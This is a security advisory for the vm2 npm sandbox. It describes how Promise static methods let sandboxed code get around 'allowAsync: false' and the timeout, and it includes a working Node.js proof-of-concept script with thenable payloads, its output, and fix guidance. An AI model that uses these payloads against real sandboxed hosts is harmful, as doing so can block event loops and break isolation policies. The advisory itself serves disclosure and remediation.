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GHSA-f8gf-w286-fmq2 CVE-2026-92959

vm2: `allowAsync: false` can be bypassed through Promise thenable assimilation in VM and NodeVM

High npm
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
0.45%
Chance of exploitation in the next 30 days. Higher than 39.01% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-693 Protection Mechanism Failure
Fix
3.11.8
Upgrade vm2 to this version or later

Description

Summary

When allowAsync is set to false, vm2 is expected to reject attempts to run asynchronous code. Direct use of Promise.prototype.then is blocked, but Promise static methods still assimilate attacker-controlled thenables. Promise.resolve(thenable), Promise.all([thenable]), Promise.race([thenable]), Promise.any([thenable]), and Promise.allSettled([thenable]) can invoke the thenable's then method in a microtask after VM.run() or NodeVM.run() has already returned.

This bypasses the documented async-execution restriction and runs outside the configured timeout, allowing sandboxed code to continue executing after the host believes execution is complete.

Details

The documented VM option says allowAsync: false should cause attempts to run async code to throw a VMError; README.md:139-145 also recommends using it with timeout. The implementation enforces part of this policy by replacing localPromise.prototype.then with an AsyncErrorHandler when async is disabled:

  • lib/setup-sandbox.js:1629-1637 defines AsyncErrorHandler, whose apply and construct traps throw VMError: Async not available.
  • lib/setup-sandbox.js:1743-1752 installs that handler on localPromise.prototype.then when allowAsync is false.

However, Promise static methods are still exposed and rebound to localPromise:

  • lib/setup-sandbox.js:1816-1819 wraps Promise.all.
  • lib/setup-sandbox.js:1821-1824 wraps Promise.race.
  • lib/setup-sandbox.js:1826-1830 wraps Promise.allSettled.
  • lib/setup-sandbox.js:1833-1837 wraps Promise.any.
  • lib/setup-sandbox.js:1840-1843 wraps Promise.resolve.

Those wrappers prevent species attacks by forcing localPromise as the constructor, but they do not reject or neutralize thenables when allowAsync is false. Native Promise resolution then performs PromiseResolveThenableJob and calls the attacker-controlled then method asynchronously. That job does not go through the patched localPromise.prototype.then method, so the AsyncErrorHandler is never reached.

NodeVM inherits the same sandbox Promise setup through VM (lib/nodevm.js:328-332), so the same thenable-assimilation bypass is reachable in NodeVM as well.

The transformer fast path is not the root cause, but it explains why the minimal PoC is parser-independent: payloads below contain none of catch, import, async, with, the internal state identifier, or \u, so lib/transformer.js:82-89 returns without AST parsing.

PoC

Maintainer-runnable clean-checkout recipe:

npm install
node - <<'NODE'
const {VM, NodeVM} = require('./');

async function runVmCase(name, code) {
  const events = [];
  const vm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => events.push(value)}});
  try {
    const ret = vm.run(code);
    console.log(`${name}: returned ${ret}`);
  } catch (e) {
    console.log(`${name}: threw ${e.name}:${e.message}`);
  }
  await new Promise(resolve => setImmediate(resolve));
  console.log(`${name} events: ${events.length ? events.join(',') : '<none>'}`);
}

async function runNodeVmCase(name, code) {
  const events = [];
  const vm = new NodeVM({allowAsync: false, sandbox: {mark: value => events.push(value)}});
  try {
    const ret = vm.run(code);
    console.log(`${name}: returned ${ret}`);
  } catch (e) {
    console.log(`${name}: threw ${e.name}:${e.message}`);
  }
  await new Promise(resolve => setImmediate(resolve));
  console.log(`${name} events: ${events.length ? events.join(',') : '<none>'}`);
}

(async () => {
  await runVmCase('VM Promise.resolve thenable', `Promise.resolve({then(r){mark('resolve-thenable')}}); 1`);
  await runVmCase('VM Promise.all thenable', `Promise.all([{then(r){mark('all-thenable')}}]); 1`);
  await runVmCase('VM Promise.race thenable', `Promise.race([{then(r){mark('race-thenable')}}]); 1`);
  await runVmCase('VM Promise.any thenable', `Promise.any([{then(r){mark('any-thenable')}}]); 1`);
  await runVmCase('VM Promise.allSettled thenable', `Promise.allSettled([{then(r){mark('allSettled-thenable')}}]); 1`);
  await runVmCase('VM direct then negative control', `Promise.resolve(1).then(function(){mark('direct')}); 1`);

  await runNodeVmCase('NodeVM Promise.resolve thenable', `Promise.resolve({then(r){mark('nodevm-resolve-thenable')}}); module.exports = 1;`);
  await runNodeVmCase('NodeVM direct then negative control', `Promise.resolve(1).then(function(){mark('nodevm-direct')}); module.exports = 1;`);

  const timeoutEvents = [];
  const timeoutVm = new VM({allowAsync: false, timeout: 10, sandbox: {mark: value => timeoutEvents.push(value)}});
  const started = Date.now();
  const ret = timeoutVm.run(`Promise.resolve({then(){var t=Date.now();while(Date.now()-t<35){};mark(Date.now())}}); 1`);
  const afterRun = Date.now();
  await new Promise(resolve => setImmediate(resolve));
  console.log(`timeout case returned: ${ret}`);
  console.log(`timeout case runReturnedInMs: ${afterRun - started}`);
  console.log(`timeout case events: ${timeoutEvents.length}`);
  console.log(`timeout case elapsedMs: ${Date.now() - started}`);
})();
NODE

Expected vulnerable output pattern:

VM Promise.resolve thenable: returned 1
VM Promise.resolve thenable events: resolve-thenable
VM Promise.all thenable: returned 1
VM Promise.all thenable events: all-thenable
VM Promise.race thenable: returned 1
VM Promise.race thenable events: race-thenable
VM Promise.any thenable: returned 1
VM Promise.any thenable events: any-thenable
VM Promise.allSettled thenable: returned 1
VM Promise.allSettled thenable events: allSettled-thenable
VM direct then negative control: threw VMError:Async not available
VM direct then negative control events: <none>
NodeVM Promise.resolve thenable: returned 1
NodeVM Promise.resolve thenable events: nodevm-resolve-thenable
NodeVM direct then negative control: threw VMError:Async not available
NodeVM direct then negative control events: <none>
timeout case returned: 1
timeout case runReturnedInMs: 0
timeout case events: 1
timeout case elapsedMs: 35

Observed local output from this environment, using temporary local acorn/acorn-walk stubs only because dependencies were not installed and the payloads take the transformer fast path without invoking the parser:

{
  "results": [
    ["Promise.resolve thenable", "run-returned", 1],
    ["Promise.resolve thenable events", "resolve-thenable"],
    ["Promise.all thenable", "run-returned", 1],
    ["Promise.all thenable events", "all-thenable"],
    ["Promise.race thenable", "run-returned", 1],
    ["Promise.race thenable events", "race-thenable"],
    ["Promise.any thenable", "run-returned", 1],
    ["Promise.any thenable events", "any-thenable"],
    ["Promise.allSettled thenable", "run-returned", 1],
    ["Promise.allSettled thenable events", "allSettled-thenable"],
    ["direct then control", "threw", "VMError:Async not available"],
    ["direct then control events", "<none>"]
  ],
  "timeoutCase": {
    "ret": 1,
    "runReturnedInMs": 0,
    "events": [1779866562491],
    "elapsedMs": 35
  }
}

Observed NodeVM variant output:

NodeVM Promise.resolve thenable: returned 1
NodeVM Promise.resolve thenable events: nodevm-resolve-thenable
NodeVM direct then control: threw VMError:Async not available
NodeVM direct then control events: <none>

Impact

Applications commonly combine timeout with allowAsync: false so untrusted scripts run synchronously and cannot continue after run() returns. This issue breaks that security boundary. A sandboxed script can schedule a Promise thenable job, have VM.run() return successfully, and execute attacker-controlled code afterward. Because the code runs after VM.run() has returned, the configured timeout no longer interrupts it.

A malicious thenable can use this to block the host Node.js event loop after the host believes the sandbox run is finished. The proof above uses a bounded 35 ms loop for safety, but the same primitive can be made unbounded. The finding is therefore a sandbox policy and availability bypass. This report does not claim raw host-object exposure, process access, filesystem access, or host RCE.

Negative/control evidence: direct .then() is rejected with VMError: Async not available and no callback fires, confirming that the intended protection exists but is incomplete for static Promise thenable assimilation.

Suggested remediation

When allowAsync is false, reject or neutralize all Promise static-method paths that can schedule jobs, not only Promise.prototype.then. At minimum, Promise.resolve, Promise.all, Promise.race, Promise.any, and Promise.allSettled should not invoke attacker-controlled thenables under allowAsync: false. Possible fixes include replacing these static methods with AsyncErrorHandler-style throwers when async is disabled, or wrapping their inputs so thenable assimilation cannot schedule attacker code.

Add regression tests for VM and NodeVM that verify:

  • Promise.resolve({ then(){} }) throws or does not call the thenable when allowAsync: false.
  • Promise.all, Promise.race, Promise.any, and Promise.allSettled do the same for thenable elements.
  • Direct .then() remains blocked.
  • A timeout-configured VM cannot execute code after run() returns via Promise thenable assimilation.

Variant analysis summary

Confirmed variants:

  • VM({allowAsync:false}).run('Promise.resolve(thenable)')
  • VM({allowAsync:false}).run('Promise.all([thenable])')
  • VM({allowAsync:false}).run('Promise.race([thenable])')
  • VM({allowAsync:false}).run('Promise.any([thenable])')
  • VM({allowAsync:false}).run('Promise.allSettled([thenable])')
  • NodeVM({allowAsync:false}).run('Promise.resolve(thenable)')

Negative cases checked:

  • Direct Promise.resolve(1).then(...) throws VMError: Async not available in both VM and NodeVM.
  • NodeVM dangerous builtin exposure was reviewed separately and not implicated in this issue.

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)
  • Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions

npm

PackageVulnerableFixed in
vm2
< 3.11.8
3.11.8

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

vm2 npm → 3.11.8

npm
npm install vm2@3.11.8
yarn
yarn add vm2@3.11.8
pnpm
pnpm add vm2@3.11.8

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
Low
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 7.1

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
High

Weakness

CWE-693: Protection Mechanism Failure

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-489w-w794-jq94
vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary
High Also affects vm2
GHSA-2v2p-6j97-cjg9
vm2: Host Promise rejection from an exposed constructor can terminate the vm2 host process
Medium Also affects vm2
GHSA-5h3f-q97h-ccvc
vm2: NodeVM custom resolution bypasses external path boundaries
Critical Also affects vm2
GHSA-pq68-rvw4-xp4r
vm2 contains a sandbox escape vulnerability
Critical Also affects vm2
GHSA-6rh5-qq4q-97xh
vm2: NodeVM builtin denylist bypass via fs/promises despite -fs, allowing host filesystem writes
High Also affects vm2
GHSA-8686-vhfx-7r3j
vm2: NodeVM node:-prefixed negative builtin deny bypass exposes child_process
Critical Also affects vm2
GHSA-wjwh-qqvp-g4p4
vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass
Critical Also affects vm2
GHSA-88hf-g992-jg85
vm2: Sandbox Escape (NodeVM)
Critical Also affects vm2
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